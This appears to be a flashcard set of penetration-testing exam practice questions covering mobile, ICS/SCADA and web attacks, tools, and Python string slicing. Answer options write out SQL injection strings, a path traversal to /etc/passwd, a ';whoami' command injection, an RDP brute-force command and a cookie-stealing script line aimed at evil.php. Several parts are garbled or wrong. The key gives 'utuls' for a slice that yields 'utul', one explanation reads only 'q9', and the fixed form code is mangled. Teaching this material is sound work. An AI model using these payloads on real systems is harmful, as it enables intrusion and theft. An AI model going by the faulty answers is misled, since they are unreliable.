Drew has been tasked to pilfer an employee's corporate iPhone and assess for vulnerabilities from the non-jailbroken (aka "jailed") device. Which set of tools, when used in unison, provide Drew the capability to inject objects into an iOS application on that phone and then monitors the behavior of the application & phone afterwards? Select all that apply. A) MobSF B) Drozer C) Postman D) Objection E) Frida	Correct Answers Frida Objection Explanation: Frida is an open-source tool that can work with a wide range of operating systems. It includes custom developer tools that help the PenTest team during application PenTesting, as you can examine the plaintext data that is being passed. In addition, Frida has many other features that allow you to do the following: • Dump process memory • In-process fuzzing • Anti-jailbreak (or root) detection • Change a program's behavior When using Frida, the PenTest team can also use another powerful tool, Objection, a runtime exploration toolkit that works on iOS devices. Objection is a scriptable debugger that allows you to perform various security related tasks on unencrypted iOS applications. With Objection, the team can run custom Frida scripts and interact with the filesystems on non-jailbroken iOS devices. It uses Frida to inject objects into an application and then monitors the behavior. You can also simulate a jailbroken environment and observe an iOS application within the existing constraints of a sandbox environment or dump the iOS keychain Drozer is open-source software used for testing for vulnerabilities on Android devices. Drozer is an attack framework that allows you to find security flaws in the app and devices The Mobile Security Framework (MobSF) can provide an automated evaluation of code and malware analysis using both static analysis and dynamic analysis

	Postman provides an interactive and automatic environment used to interact and test an HTTP API's
During the reconnaissance phase of a penetration test, you have determined that your client uses several networked devices that rely on an embedded operating system. Which of the following methods would MOST likely be the best method for exploiting these? A) identify a jailbroken device for easy exploitation B) use a tool like ICSSPOIT to target specific vulnerabilities C) use web-based exploits against the device's web interfaces D) use SET to trick a user into opeing a malicious APK	Correct Answer: use web-based exploits against the device's web interfaces Explanation: Most embedded operating systems use a web interface to access their configurations for setup and installation. Focusing on this web interface and using common web-based exploits is usually one of the best methods of exploiting a device with an embedded OS. Jailbroken devices refer to iPhones and iPads that have been configured to give the user root access to the underlying operating system. Spearphishing campaigns are not usually used against an embedded operating system since many of these devices are not used directly by an end-user. A malicious APK would be used to target an Android-based operating system and most embedded operating systems are based on Linux and not Android
Drew is developing a vulnerability scanner program for a large network of sensors to monitor his company's transcontinental oil pipeline. What type of network is this? A) BAS B) SCADA C) CAN D) SoC	Correct Answer: SCADA Explanation: SCADA (supervisory control and data acquisition) networks work off an ICS (industry control system) and maintain sensors and control systems over large geographic areas. A building automation system (BAS) for offices and data centers ("smart buildings") can include physical access control systems, but also heating, ventilation, and air conditioning (HVAC), fire control, power and lighting, and elevators, and escalators. A vehicular network is called a controller area network (CAN). A CAN uses serial communication buses to connect electronic control units and other subsystems in cars and unmanned aerial vehicles (UAV). System-on-chip (SoC) is a design where all these processors, controllers, and devices are provided on a single processor die or chip
The results of an Nmap scan are as follows: Starting Nmap 7.80 (nmap.org) at 2021-01-24 01:10 EST Nmap scan report for (10.2.1.22) Host is up (0.0102s latency). Not shown: 998 filtered ports - Port State Service - 80/tcp open http |_http-title: 80F 22% RH 1009.1MB (text/html) |_http-slowloris-check: | VULNERABLE: | Slowloris DoS Attack | <..> Device type: bridge|general purpose Running (JUST GUESSING) : QEMU (95%) OS CPE: cpe:/a:qemu:qemu - No exact OS matches found for host (test conditions non-ideal). OS detection performed. Please report any incorrect results at nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds Which of the following device types will MOST likely have a similar response? (Choose two.) A) IoT/embedded device B) Exposed RDP	Correct Answers Public-facing web server IoT/embedded device Explanation: The key to this question is the open port (80) . Which of these answers would use port 80? Something with an HTTP web service... a public facing we server is on possibility and, we know that many IoT devices have awful HTTP management interfaces. An additional clue, but not decisive could be qemu (https://www.qemu.org/), an open source machine emulator and virtualizer, which could point you to IoT also but... the port number is more relevant and the qemu is "just a guess". You would not expect a generic "network device" to have an externally exposed HTTP management interface, AD DC does not use HTTP, and RDP is port 3389

C) Network device D) Public-facing web server E) Active Directory domain controller	
Performing a penetration test against an environment with SCADA devices brings additional safety risk because the: A) devices may cause physical world effects. B) devices produce more heat and consume more power. C) devices are obsolete and are no longer available for replacement. D) protocols are more difficult to understand.	Correct Answer: devices may cause physical world effects Explanation: An industrial control system (ICS) is any system that enables users to control industrial and critical infrastructure assets over a network. A Supervisory control and data acquisition (SCADA) system is a type of ICS that manages large-scale, multiple-site devices and equipment that are spread over geographically large areas from a host computer. One of the roles of an ICS is that it can control critical infrastructure resources, such as water, electrical grids, transportation, telecommunication, and health services. If critical infrastructure resources are damaged or destroyed, this will cause significant negative impact to the economy, public health, safety, and security of a society
A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid? A) Supervisors and controllers are on a separate virtual network by default. B) Supervisory systems will detect a malicious injection of code/commands. C) PLCs will not act upon commands injected over the network. D) Controllers will not validate the origin of commands.	Correct Answer: Controllers will not validate the origin of commands Explanation: Many ICSs were established years before security standards were established, and as a result, are considerably outdated. As more ICSs are being incorporated into an organization's TCP/IP network, there is greater opportunity for exploitation. The wrong choices all imply a level of embedded security that you should not assume in today's ICS/SCADA systems
Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems: A) may cause unintended failures in control systems. B) will create a denial-of-service condition on the IP networks. C) will reveal vulnerabilities in the Modbus protocol. D) may reduce the true positive rate of findings.	Correct Answer: may cause unintended failures in control systems Explanation: The assumption built into this question is that the type of scanning you are doing is general vulnerability scanning since you have a hybrid IT and ICS/SCADA network. You need "normal" vuln scan signatures and methods to test the general IT servers. However, many ICSs were established years before security standards were established, and as a result, are considerably outdated. The major concern here is that running the wrong type of vuln scan could knock the ICS system offline or possibly brick the system
Drew's organization has just installed a backup generator for their offices that use SCADA/ICS for remote monitoring of the system. The generator's control system has an embedded cellular modem that periodically connects to the generator's manufacturer to provide usage statistics. The modem is configured for outbound connections only, and the generator has no data connection with any of Dion Training's other networks. The manufacturer utilizes data minimization procedures and uses the data to recommend preventative maintenance service and ensure maximum uptime and reliability by identifying parts that need to be replaced. Which of the following cybersecurity risk is being assumed in this scenario? A) there is a medium risk being assumed since the manufacturer could use the data for purposes other than originally agreed upon; B) there is a high risk being assumed since the presence of a cellular modem could allow an a	Correct Answer: there is a minimal risk being assumed since the cell model is configured for outbout connections only Explanation: There is a minimal risk being assumed in this scenario since the cellular modem is configured for outbound connections only. This also minimizes the risk of an attacker gaining remote access to the generator. The generator is logically and physically isolated from the rest of the enterprise network, so even if an attacker could exploit the generator, they could not pivot into the production network. While there is a risk of the manufacturer using the data for purposes other than originally agreed upon, this is a minimal risk due to the manufacturer's data minimization procedures and the type of data collected. Should the manufacturer choose to use usage statistics about the generator for some other purpose, it would have a negligible impact on the company since it does not contain any PII or proprietary company data

You are preparing for the exploitation of TU's systems as part of a penetration test. During your research, you determined that TU is using application containers for each of its websites. You believe that these containers are all hosted on the same physical underlying server. Which of the following components should you attempt to exploit to gain access to all of the websites at once? A) configuration files B) hypervisor vulnerability C) common libraries D) their e-commerce website's web application	Correct Answer: common libraries Explanation: Application containers are virtualized environments designed to package and run a single computing application or service and share the same host kernel. Since they share the same host kernel, they use common libraries, as well. If you can exploit the common libraries, you will gain access to every website on that server, even if they are in an application container. An application container does not use a hypervisor like a typical virtual machine. Configuration files are unique to each application container. The e-commerce website's web application is likely hosted in a single application container and, therefore, would not provide you access to every website simultaneously if exploited
Which of the following devices on the network should you target to access sensitive sales and financial data? A) PoS B) RTOS C) IoT D) ICS	Correct Answer: PoS Explanation: The point of sale (POS) refers to the place where customers purchase goods or services from a business, and a POS system incorporates devices and networking capabilities that support this practice. POS devices can include everything from cash registers to mobile devices like tablets and smartphones. These devices are networked to backend servers that process and store transaction-al data, payment card data, and more
Which of the following is a special type of embedded operating system that uses a predictable and consistent scheduler? A) mobile B) RTOS C) PoS D) IoT	Correct Answer: RTOS Explanation: A real-time operating system (RTOS) is a special type of em-bedded OS. An RTOS is ideal for embedded systems because they tend to have strict requirements for when a task should be completed and do not have particularly taxing workloads. An RTOS uses a predictable and consistent scheduler, unlike a gen-eral-purpose OS like Windows or macOS
Which of the following is the biggest weakness with ICS and SCADA systems in a network? A) cybersecurity experts don't know how to secure ICS/SCADA B) they are patched using standard vendor OS patches C) the systems are difficult to retrofit with modern security D) ICS/SCADA must be connected to the Internet to function	Correct Answer: the systems are difficult to retrofit with modern security Explanation: Industrial control system (ICS) and supervisory control and data acquisition (SCADA) systems were developed many years before security standards were established and integrated into their de-sign. Many of these older systems date back to the 1970s and are still in use today. Over time, these systems were incorporated into the organization's TCP/IP data networks, which provides a huge exploitation area by penetration testers and attackers alike. Many ICS and SCADA vendors are slow to implement security measures since they cannot be easily retrofitted with the newer security required. Therefore, ICS and SCADA systems should ALWAYS be isolated from production networks and segmented into their logical network. For example, some ICS/SCADA systems use a proprietary operating system. More modern ICS/SCADA operates using a version of Windows. However, many still use Windows XP, making them much more vulnerable since they can-not be upgraded to Windows 10 without hardware replacement
	Correct Answer: IoT devices focus on convenience more than security Explanation: IoT device manufacturers are more focused on making the devices

What is the BEST explanation for why consumer-based IoT devices are less secure than traditional desktops and servers? A) IoT devices focus on convenience more than security B) IoT devices are not powerful enough to support encryption C) IoT devices are unable to receive patches and updates D) IoT devices are only used in low-security use cases	convenient to use instead of ensuring they have strong security. The other options are incorrect and not true. IoT devices can receive patches and updates through an over-the-air firmware update if a manufacturer creates the patches. IoT devices are powerful these days, and they can support encryption and other security features if manufacturers would add them to their code. IoT devices are not just used in low-security use cases, either. For example, IoT devices are often used as life-saving devices in hospitals or security systems in our homes. Unfortunately, IoT devices are notoriously lax when it comes to security. Some IoT systems may even allow a user full remote control of a device
During your reconnaissance, you have determined that your client has devices used to send remote control signals to industrial assets used by their critical infrastructure utilities connected to their corporate network. Which of the following methods would MOST likely be the best method for exploiting these systems? A) use Metasploit modules designed to target the SCADA systems B) use a spearphishing campaign to trick a user into installing a RAT C) use SET to trick a user into opeing a malicious APK D) identify a jailbroken device for easy exploitation	Correct Answer: use Metasploit modules designed to target the SCADA systems Explanation: A penetration tester can exploit supervisory control and data acquisition (SCADA) systems if they are within the engagement's scope. While Metasploit was initially designed for engagements against workstations and servers, Metasploit has several modules in the exploit/ windows/scada category that target vendor-specific SCADA components running Windows. Many of these trigger a buffer overflow, though, so be careful when using them and ensure you have permission to exploit these devices in your written authorization
Drew's Training has hired you to assess its voucher fulfillment web application on its e-commerce website. The web application relies on a SOAP-based web service. Which of the following support resources would be MOST helpful in conducting this known-environment assessment? A) SDK documentation B) WSDL document C) Swagger document D) XSD file	Correct Answer: WSDL document Explanation: The WSDL (Web Services Description Language) document is an XML formatted document defining a web service's capabilities and how to access it. Since this scenario states that the company relies on a SOAP-based web service, the assessment's best support resource would be a copy of their WSDL document. A swagger document is the REST API equivalent of a WSDL document that defines a SOAP-based web service. SDK documentation is used to document the software development kit and is not relevant to the SOAP-based web service being tested. An XML Schema Definition (XSD) is a recommendation that enables developers to define the structure and data types for XML documents
Which of the following is the most difficult to confirm with an external vulnerability scan? A) XSS B) blind SQLi C) unpatched web server D) CSRF	Correct Answer: blind SQLi Explanation: Vulnerability scanners typically cannot confirm that a blind SQL injection with the execution of code has previously occurred. XSS and CSRF/XSRF are typically easier to detect because the scanner can pick up information that proves a successful attack. The banner information can usually identify unpatched servers
While conducting a penetration test of a web application, you enter the following URL, https://mattjacksonisdope.com/index.php?id=1%20OR%2017-7%3d10. What type of exploit are you attempting? A) session hijacking B) Buffer overflow	Correct Answer: SQLi Explanation: This is an example of a Boolean-based SQL injection. This occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database. In this example, notice that the statement being parsed as part of the URL after the equal sign is equivalent to 1 or 17-7=10. This means the portion of the statement that is 17-7=10 would return a value of 1 (since it is true). Then, we are left to compute if 1 = 1, and since it does, the SQL database will treat this as a positive authentication. This is simply an obfuscation technique of a 1=1 SQL injection

C) xml injection D) SQLi	technique. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer's boundary to overwrite an adjacent memory location. A session hijacking attack consists of exploiting the web session control mechanism, normally managed for a session token. XML Injection is an attack technique used to manipulate or compromise an XML application or service's logic
You have been asked to scan your company's website using the OWASP ZAP tool. When you perform the scan, you received the following warning: "The AUTOCOMPLETE output is not disabled in HTML FORM/INPUT containing password type input. Passwords may be stored in browsers and retrieved." You begin to investigate further by reviewing a portion of the HTML code from the website that is listed below: <<see picture>> Based on your analysis, which of the following actions should you take? A) The code for the website needs to be reviewed and fixed B) Recommend that SSL is disabled on the server and TLS 1.3 used instead C) Recommend the administrator push out a GPO update to reconfigure the web browser security settings D) this is a false positive and you should implement a scanner exception to ensure that you don't receive this alert again	Correct Answer: The code for the website needs to be reviewed and fixed Explanation: Since your company owns the website, you can require the developer to implement a bug/code fix to prevent the form from allowing the AUTOCOMPLETE function to work on this website. The code change to perform is quite simple, simply adding "autocomplete=off" to the code's first line. The resulting code would be <form>.</form>
<<see picture>> Based on source code analysis, which type of vulnerability is this web server vulnerable to? A) command injection B) LDAP injection C) SQLi D) directory traversal	Correct Answer: SQLi Explanation: Based on the log entries, it appears the attack was successful in conducting a SQL injection. Notice the escape character (') used in the log. A connection to the MySQL database is being used in the script, which could be exploited since no input validation is being performed. Command injection is an attack in which the goal is to execute arbitrary commands on the host operating system via a vulnerable application. SQL injection is a specific type of command injection. LDAP injection is a code injection technique used to exploit web applications that could reveal sensitive user information or modify information represented in the LDAP (Lightweight Directory Access Protocol) data stores. Directory traversal or Path Traversal is an HTTP attack that allows attackers to access restricted directories and execute commands outside of the web server's root directory
You are analyzing the SIEM for your company's e-commerce server when you notice the following URL in the logs of your SIEM: <<see picture>> Based on this line, what type of attack do you expect has been attempted?	Correct Answer: XML injection Explanation: This is an example of an XML injection. XML injection manipulates or compromises the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter an application's intended logic. XML Injection can cause the insertion of malicious content into resulting messages/documents. In this case, the URL is attempting to modify the server's XML structure. The original XML structure would be: <addtocart> <item> </item></addtocart>. By using the URL above, this would be modified to the following: <addtocart> <item> <item> </item></item></addtocart>. The result would be that a new line was added in the XML document that could be processed by the server. This line would allow 10 of the product at $0.00 to

A) session hijacking B) XML injection C) SQLi D) buffer overflow	be added to the shopping cart, while 0 of the product at $50.00 is added to the cart. This defeats the integrity of the e-commerce store's add to cart functionality through this XML injection. A SQL injection occurs when data input by a user is interpreted as a SQL command rather than as normal data by the backend database. A buffer overflow is an exploit that attempts to write data to a buffer and exceed that buffer's boundary to overwrite an adjacent memory location. A session hijacking attack consists of exploiting the web session control mechanism, normally managed for a session token. The real key to answering this question is identifying the XML structured code being entered as part of the URL, shown by the bracketed data
A cybersecurity analyst working at a major university that is definitely not located nearby downtown Tulsa, OK is reviewing the SQL server log of completed transactions and notices the following entry: <<see picture>> Based on this transaction log, which of the following most likely occurred? A) a student with ID 1235235 used an SQLi to give themselves all A's B) someone used an SQLi to assign all A's to the student with ID 1235235 C) the SQL server has insufficient logging and monitoring D) the application and SQL database are functioning properly	Correct Answer: someone used an SQLi to assign all A's to the student with ID 1235235 Explanation: Based on this transaction log entry, it appears that the ID# field was not properly validated before being passed to the SQL server. This would allow someone to conduct an SQL injection and retrieve the student's grades and set all of this student's grades to an 'A' at the same time. It is common to look for a '1==1' type condition to identify an SQL injection. There are other methods to conduct an SQL injection attack that could be utilized by an attacker. If input validation is not being performed on user-entered data, an attacker can exploit any SQL language aspect and inject SQL-specific commands. This entry is suspicious and indicates that either the application or the SQL database is not functioning properly. Still, there appears to be adequate logging and monitoring based on what we can see and whether the question never indicates logging was an issue. An SQL database would not be designed to set ALL of a particular student's grades to A's, thus making this single entry suspicious. Most SQL statements in an SQL log will be fairly uniform and repetitive by nature when you review them. This leaves us with the question as to who person this SQL injection. Per the question choices, it could be the student with ID# 1235235 or "someone." While it seems as if student #1235235 had the most to gain from this, without further investigation, we cannot prove that it actually was student #1235235 that performed the SQL injection. Undoubtedly, student #125235 should be a person of interest in any ensuing investigations, but additional information (i.e., whose credentials were being used, etc.) should be used before making any accusations. Therefore, the answer is that "someone" performed this SQL injection
Drew is conducting an assessment of a network-enabled software platform that contains a published API. In reviewing the platform's key management, he discovers that API keys are embedded in the application's source code. Which of the following statements best describes the security flaw with this coding practice? A) the embedded key may be discovered by an attacker who reverse engineers the source code B) changing the API key will require a corresponding software upgrade C) it is difficult to control the permission levels for embedded keys D) key management is no longer required since the key in embedded in the source code	Correct Answer: the embedded key may be discovered by an attacker who reverse engineers the source code Explanation: A sophisticated adversary may discover the software's embedded key through reverse engineering the source code. This inadvertent key disclosure could then allow an attacker to abuse the API in ways other than intended. Key management would still be required, even if the key is embedded in the source code. Permission levels of a software-embedded key are still controlled like any other key. While the added inconvenience of installing new software on the client side every time the key is changed would be inconvenient, this option does not address the underlying security issues with embedding API keys into the source code

You are analyzing the logs of a web server. Consider the following log sample: <<see picture>> Based on the logs above, which of the following type of attacks was conducted against this server? A) SQLi B) XML injection C) XSS D) directory traversal	Correct Answer: SQLi Explanation: SQL injection is a code injection technique that is used to attack data-driven applications. SQL injections are conducted by inserting malicious SQL statements into an entry field for execution. For example, an attacker may try to dump the contents of the database by using this technique. A common SQL injection technique is to insert an always true statement, such as 1 == 1, or in this example, 6810 = = 6810. In this case, the SQL injection is evidenced by the SQL statements being sent to the web application hosted by WordPress. XML Injection is an attack technique used to manipulate or compromise an XML application or service's logic. The injection of unintended XML content and/or structures into an XML message can alter the application's intended logic. Cross-Site Scripting (XSS) attacks are a type of injection in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in a browser side script, to a different end-user. A directory traversal attack aims to access files and directories that are stored outside the webroot folder. By manipulating variables or URLs that reference files with "dot-dot-slash (../)" sequences and its variations or using absolute file paths, it may be possible to access arbitrary files and directories stored on the file system, including application source code or configuration and critical system files
A cybersecurity analyst is reviewing the logs of a proxy server and saw the following URLs: <<see picture>> What type of vulnerability does this website have? A) weak or default configuration B) race condition C) improper error handling D) insecure direct object reference	Correct Answer: insecure direct object reference Explanation: Insecure direct object references (IDOR) are a cybersecurity issue that occurs when a web application developer uses an identifier for direct access to an internal implementation object but provides no additional access control and/or authorization checks. An attacker could change the userid number and directly access any user's profile page in this scenario. A race condition is a software vulnerability when the resulting outcome from execution processes is directly dependent on the order and timing of certain events. Those events fail to execute in the order and timing intended by the developer. Weak or default configurations are commonly a result of incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information. Improper handling of errors can reveal implementation details that should never be revealed, such as detailed information that can provide hackers important clues on the system's potential flaws
Which of the following is the leading cause for cross-site scripting, SQL injection, and XML injection attacks? A) SQLi B) faulty input validation C) directory traversals D) file inclusions E) output encoding	Correct Answer: faulty input validation Explanation: A primary vector for attacking applications is to exploit faulty input validation. The input could include user data entered into a form or URL, passed by another application or link. This is heavily exploited by cross-site scripting, SQL injection, and XML injection attacks. Directory traversal is the practice of accessing a file from a location that the user is unauthorized to access. The attacker does this by ordering an application to backtrack through the directory path to read or execute a file in a parent directory. In a file inclusion attack, the attacker adds a file to a web app or website's running process. The file is either constructed to be malicious or

	manipulated to serve the attacker's malicious purposes. Cross-site scripting (XSS) is one of the most powerful input validation exploits. XSS involves a trusted site, a client browsing the trusted site, and the attacker's site
You are analyzing the logs of a web server and see the following entry: <<see picture>> Based on this entry, which of the following attacks was attempted? A) SQLi B) XSS C) buffer overflow D) XML injection	Correct Answer: XSS Explanation: This is an example of an XSS attack as recorded by a web server's log. In this example, the XSS attack was obfuscated by the attacker using HTML encoding. The encoding of %27%27 translates to two single quote marks (' '). While you don't need to be able to decode the exact string used in the logs, when you see HTML encoding on the exam, it is usually going to be an XSS attack unless you see SQL or XML statements in the string, which in this case there are neither of those. Cross-site scripting (XSS) attacks use a specially crafted URL that includes attack code that will cause user information entered into their web browser to be sent to the attacker. An attacker finds a web server vulnerable to XSS and sends a legitimate-looking URL with XSS attack code appended to the end of the URL through a phishing email or other message to trick the user into clicking the link. A buffer overflow attempts to write data to a buffer that overruns the buffer's boundary and writes data into the adjacent memory locations, which is not occurring in this example
You are preparing to conduct a boolean SQL injection as part of a known environment penetration test. You are conducting static analysis of an application's source code and see the following: <<see picture>> If you wanted to get a complete copy of the courses table and could substitute arbitrary strings for "id" and "certification", which of the following strings would you use to successfully conduct a Boolean SQL injection? A) id="1' OR '1'=='1" B) certifcation="comptia' OR '1'=='1" C) id="1' or '1'==1" AND certification="comptia' OR '1'='1" D) id="1' OR '1'==1" AND certification="comptia' OR '1=='1"	Correct Answer: id="1' or '1'==1" AND certification="comptia' OR '1'='1" Explanation: ID and certification must be crafted so that when substituted for the ".getparameter" fields, the SQL statement formed is still complete and will return a Boolean value of true for the ENTIRE statement every time it is evaluated. The AND in the middle of the WHERE clause indicates that both the courseID and certification portion must be true in every case. When this occurs, the entire table of courses would be returned. The only string that would ensure both halves of the WHERE clause always return true would be <id = "1' OR '1' ==1". The other statements either would only partially be true or are using the incorrect number and placement of single quotes in the SQL statement so that an error is returned
A penetration tester is exploring a client's website. The tester performs a curl command and obtains the following: <<see picture>> Which of the following tools would be BEST for the penetration tester to use to explore this site further? A) OWASP ZAP B) WPScan C) Burp Suite D) DirBuster	Correct Answer: WPScan Explanation: This website is a Wordpress site, which makes WPScan the best tool as it is made specifically to test for WP vulnerabilities and misconfigurations
A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows: <<see picture>> Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.) A) Eliminate network management and control interfaces.	Correct Answers Disable HTTP/301 redirect configuration. Create an out-of-band network for management. Explanation: q9

B) Disable or upgrade SSH daemon. C) Implement a better method for authentication. D) Disable HTTP/301 redirect configuration. E) Create an out-of-band network for management.	
Which of the following BEST describe the OWASP Top 10? (Choose two.) A) A list of all the risks of web applications B) A risk-governance and compliance framework C) A web-application security standard D) The most critical risks of web applications E) The risks defined in order of importance	Correct Answers The most critical risks of web applications The risks defined in order of importance
Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.) A) Cross-site scripting B) Race-condition attacks C) Injection flaws D) Buffer overflows E) Zero-day attacks	Correct Answers Cross-site scripting Injection flaws
Given the following code: (Code removed for Quizlet) Which of the following are the BEST methods to prevent against this type of attack? (Choose two.) A) Session tokens B) Input validation C) PArameterized queries D) Output encoding E) Web-application firewall	Correct Answers Output encoding Input validation
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.) A) The libraries' code bases could be read by anyone B) The libraries may be unsupported C) The licensing of software is ambiguous D) The libraries may be vulnerable E) The provenance of code is unknown	Correct Answers The libraries may be vulnerable The libraries' code bases could be read by anyone
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities? A) Double dash B) Semicolon C) Comma D) Single quote	Correct Answer: Single quote
A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited? A) Local file inclusion B) Remote file inclusion C) Cross-site request forgery D) Server-side request forgery	Correct Answer: Server-side request forgery
A penetration tester who is conducting a web-application test discovers a clickjacking vulnerability associated with a login page to financial data. Which of the following should the tester do with this information to make this a successful exploit? A) Use browser autopwn. B) Use BeEF.	Correct Answer: Perform XSS

C) Perform XSS. D) Conduct a watering-hole attack.	
Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in? A) Sessions and cookies B) Password encryption C) HTTPS communication D) Public and private keys	Correct Answer: Sessions and cookies
A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server? A) Nikto B) Nessus C) OpenVAS D) SQLmap	Correct Answer: SQLmap
A tester who is performing a penetration test on a website receives the following output: Warning: mysql_fetch_array() expects parameter 1 to be re-source, boolean given in search.php on line 62 Which of the following commands can be used to further attack the website? A) ../../../../../../../../../../etc/passwd B) 1 UNION SELECT 1, DATABASE(),3-- C) var adr= '../evil.php?test=' +escape(document.cookie); D)/var/www/html/index.php;whoami	Correct Answer: 1 UNION SELECT 1, DATABASE(),3--
A penetration tester runs a scan against a server and obtains the following output: 121/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230) | 03-12-20 09:23AM 331 index.aspx | ftp-syst: 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server | rdp-ntlm-info'' | Target Name: WEB3 | Net-BIOS_Computer_Name: WEB3 | Product_Version: 6.3.9600 |_ System_Time: 2021-01-15T11:32:06+00:00 8443/tcp open http Microsoft IIS heepd 8.5 | http-methods: |_ Potentially risky meth-ods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: IIS Windows Server Which of the following command sequences should the penetra-tion tester try NEXT? A) nmap --script vuln -sV 192.168.53.23 B) ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23 C) ftp 192.168.53.23 D)	Correct Answer: ftp 192.168.53.23 Explanation: The output shows anonymous ftp logins are allowed... that has to be the first thing you check
A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries? A) Drozer B) Immunity Debugger C) OllyDbg D) GDB	Correct Answer: GDB

Which of the following tools is considered a web application scanner? A) Qualys B) OpenVAS C) ZAP D) Nessus	Correct Answer: ZAP Explanation: OWASP Zed Attack Proxy (ZAP) is the world's most widely used web application scanner. It is free, open-source, and provided by the Open Web Application Security Project (OWASP). Nessus, Qualys, and OpenVAS are all classified as infrastructure vulnerability scanners
Drew wants to install an integrated platform for testing web applications. The software should allow them to capture, analyze, and manipulate HTTP traffic. Which of the following tools should they install? A) SET B) Burp Suite C) Kismet D) Proxychains	Correct Answer: Burp Suite Explanation: Burp Suite is an integrated platform included for testing web applications' security by acting as a local proxy so that the attacker can capture, analyze, and manipulate HTTP traffic. SET (Social Engineering Toolkit) is an open-source penetration testing framework included with Kali Linux that supports social engineering to penetrate a network or system. Kismet is an 802.11 Layer 2 wireless network detector, sniffer, and intrusion detection system included with Kali Linux. ProxyChains is a command-line tool that enables pen testers to mask their identity and/or source IP address by sending messages through intermediary or proxy servers
Which of the following tools should a penetration tester use to gather credentials by extracting cleartext passwords, hashes, and PIN codes from a victimized machine's memory? A) mimikatz B) hydra C) Gobuster D) w3af	Correct Answer: mimikatz Explanation: Mimikatz is a tool that gathers credentials by extracting key elements from memory such as cleartext passwords, hashes, and PIN codes. Gobuster is a tool that can discover subdomains, directories, and files by brute-forcing from a list of common names. The Web Application Attack and Audit Framework (w3af) allows you to identify and exploit a large set of web-based vulnerabilities, such as SQL injection and cross-site scripting. Hydra is a password cracking tool that supports parallel testing of several network authentication types simultaneously
A cybersecurity analyst conducts proactive threat hunting on a network by correlating and searching the Sysmon and Windows Event logs. The analyst uses the following query as part of their hunt: <<see picture>> Based on the query above, which of the following potential indicators of compromise is the threat hunter relying on? A) unauthorized software B) processor consumption C) data exfiltration D) irregular p2p communication	Correct Answer: data exfiltration Explanation: This is a difficult question, but you should see a keyword in the query, "mimikatz." Mimikatz is a leading post-exploitation tool that dumps passwords from memory, as well as hashes, PINs, and Kerberos tickets. Other useful attacks it enables are pass-the-hash, pass-the-ticket, or building Golden Kerberos tickets. This makes post-exploitation lateral movement within a network easy for attackers. It is considered unauthorized software and should be immediately alerted upon if discovered in your network. Data exfiltration is the process by which an attacker takes data that is stored inside of a private network and moves it to an external network. Processor consumption is an IoC that monitors the per-process percentage of CPU time to show what causes the problem. Irregular peer-to-peer communication occurs when hosts within a network establish connections over unauthorized ports or data transfers
You are analyzing a Python script that isn't functioning properly. You suspect the issue is with the string manipulation being used in the code. Review the following Python code snippet:	Correct Answer: w.ut Explanation: When evaluating the code site[-12:-8], you would receive "w.ut" in response. Within Python, characters in a string can be accessed

#!/usr/bin/python site = "www.utulsa.edu" print(site[-12:-8]) Based on your analysis, what should be displayed on the screen by the print command? A) .utul B) www. C) w.ut D) utulsa	by their index location. If the string (site) is "www.utulsa.edu", then each letter from left to right is referenced as site[0] to site[13]. If you want to reference it from right to left, you simply use a negative number, such as site[-12:-8]. The format for the array is [start:end:increment], so site[-12:-8] is evaluated as starting with the 12th position from the right (w), count until it reaches the 8th position from the right, incrementing by the default value of 1 each time. This would display, from the end of the word, the 12th position (w), 11th position (.), 10th position (u), 9th position (t), and then stop. Note that when counting positions from the right, you begin counting at 1. When counting from the left, you start with position 0 and work up from there
You are analyzing a Python script that isn't functioning properly. You suspect the issue is with the string manipulation being used in the code. Review the following Python code snippet: #!/usr/bin/python site = "www.utulsa.edu" print(site[4:8]) Based on your analysis, what should be displayed on the screen by the print command? A) sa.e B) ulsa. C) tulsa D) utuls	Correct Answer: utuls Explanation: When evaluating the code site[4:8], you would receive "utuls" in response. Within Python, characters in a string can be accessed by their index location. If the string (site) is "www.utulsa.edu", then each letter from left to right is referenced as site[0] to site[13]. For example, if you enter site[5], you would receive the letter "t" in response. The format for the array is [start:end:increment], so site[4:8] is evaluated as starting with the 4th position (u since computers start counting at 0) and continuing to display letters until it reaches the 8th position (s). This is because it treats ranges as the start value and the value to stop when it reaches it, similar to a for loop. If we wanted that "a" to be displayed as well, we would need to stop at 9 instead of 8. Since there is no increment provided in this argument, it uses the default of 1 position at a time, moving from left to right as it counts upward through the string
